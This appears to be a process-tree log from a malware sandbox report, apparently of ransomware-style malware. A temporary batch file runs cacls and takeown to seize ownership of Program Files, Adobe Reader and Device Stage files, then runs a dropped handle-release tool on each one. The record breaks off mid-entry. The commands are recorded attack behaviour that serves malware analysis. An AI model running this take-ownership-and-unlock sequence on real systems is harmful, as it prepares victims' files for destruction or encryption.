C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\Chess\ChessMCE.png""2⤵PID:224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Chess\ChessMCE.png" /E /G Admin:F /C3⤵PID:1988
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Chess\ChessMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ChessMCE.png" -nobanner3⤵PID:1136
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ChessMCE.png" -nobanner4⤵PID:112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1632
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵PID:960
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵PID:1268
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵PID:1672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "overlay.png" -nobanner3⤵PID:1348
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "overlay.png" -nobanner4⤵PID:1096
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1772
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""2⤵PID:1052
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:2012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"3⤵PID:1764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:204
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1292
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1528
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵PID:592
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "directories.acrodata" -nobanner3⤵PID:1592
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "directories.acrodata" -nobanner4⤵PID:1684
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1512
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc""2⤵PID:1964
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc" /E /G Admin:F /C3⤵PID:540
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc"3⤵PID:920
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "adobepdf.xdc" -nobanner3⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "adobepdf.xdc" -nobanner4⤵PID:1784
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1352
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif""2⤵PID:1516
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif" /E /G Admin:F /C3⤵PID:1456
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif"3⤵PID:1000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "distribute_form.gif" -nobanner3⤵PID:1520
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "distribute_form.gif" -nobanner4⤵PID:2004
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:712
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵PID:1396
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵PID:1460
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:208
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "behavior.xml" -nobanner3⤵PID:204
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "behavior.xml" -nobanner4⤵PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:216
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css""2⤵PID:1508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css" /E /G Admin:F /C3⤵PID:1404
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css"3⤵PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "main.css" -nobanner3⤵PID:1500
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "main.css" -nobanner4⤵PID:1860
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1544
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif" /E /G Admin:F /C3⤵PID:112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif"3⤵PID:1632
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "review_shared.gif" -nobanner3⤵PID:1136
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "review_shared.gif" -nobanner4⤵PID:212
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif""2⤵PID:1200
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif"3⤵PID:228
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner3⤵PID:1348
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner4⤵PID:960
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:896
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf""2⤵PID:1268
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf" /E /G Admin:F /C3⤵PID:972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf"3⤵PID:1376
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner3⤵PID:1148
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner4⤵PID:204
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:216
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf""2⤵PID:1396
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf" /E /G Admin:F /C3⤵PID:1404
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf"3⤵PID:1512
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MyriadPro-Regular.otf" -nobanner3⤵PID:1860
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MyriadPro-Regular.otf" -nobanner4⤵PID:1500
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1544
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt""2⤵PID:1508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt" /E /G Admin:F /C3⤵PID:112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt"3⤵
- Modifies file permissions
PID:1352
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner3⤵PID:212
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner4⤵PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1520
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1516
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1672
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths""2⤵PID:1456
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths" /E /G Admin:F /C3⤵PID:1528
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths"3⤵
- Modifies file permissions
PID:1816
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "can03.ths" -nobanner3⤵PID:1264
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "can03.ths" -nobanner4⤵PID:1536
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1460
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp""2⤵PID:1764
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp" /E /G Admin:F /C3⤵PID:996
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp"3⤵PID:220
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner3⤵PID:1592
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner4⤵PID:296
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1356
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT""2⤵PID:1992
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT" /E /G Admin:F /C3⤵PID:224
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT"3⤵PID:1964
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ROMAN.TXT" -nobanner3⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ROMAN.TXT" -nobanner4⤵PID:1320
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:920
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT""2⤵PID:1280
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT" /E /G Admin:F /C3⤵PID:960
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT"3⤵PID:896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1257.TXT" -nobanner3⤵PID:1516
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1257.TXT" -nobanner4⤵PID:1520
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1672
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""2⤵PID:1772
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:204
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1264
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1252
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1448
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""2⤵PID:1248
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C3⤵PID:220
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "brt04.hsp" -nobanner4⤵PID:2028
-
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:296
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "PurblePlaceMCE.png" -nobanner3⤵PID:1396
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "PurblePlaceMCE.png" -nobanner4⤵PID:1356
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1764
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png""2⤵PID:1632
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png" /E /G Admin:F /C3⤵PID:1988
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SolitaireMCE.png" -nobanner3⤵PID:2024
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SolitaireMCE.png" -nobanner4⤵PID:1784
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:112
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png""2⤵PID:712
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png" /E /G Admin:F /C3⤵PID:1200
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SpiderSolitaireMCE.png" -nobanner3⤵PID:1672
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SpiderSolitaireMCE.png" -nobanner4⤵PID:1876
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1780
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵PID:1816
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵PID:1460
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1264
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "superbar.png" -nobanner3⤵PID:1448
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "superbar.png" -nobanner4⤵PID:1596
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:208
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵PID:1544
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵PID:1404
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1396
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1764
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:564
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1068
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵PID:1320
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵PID:1104
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵
- Modifies file permissions
PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "eula.ini" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "eula.ini" -nobanner4⤵PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1632
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵PID:1348
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C3⤵PID:2004
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"3⤵
- Modifies file permissions
PID:1096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "AcroSign.prc" -nobanner3⤵PID:216
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "AcroSign.prc" -nobanner4⤵PID:1780
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:712
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""2⤵PID:1536
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C3⤵PID:1264
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1596
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "FreeCellMCE.png" -nobanner3⤵PID:592
-
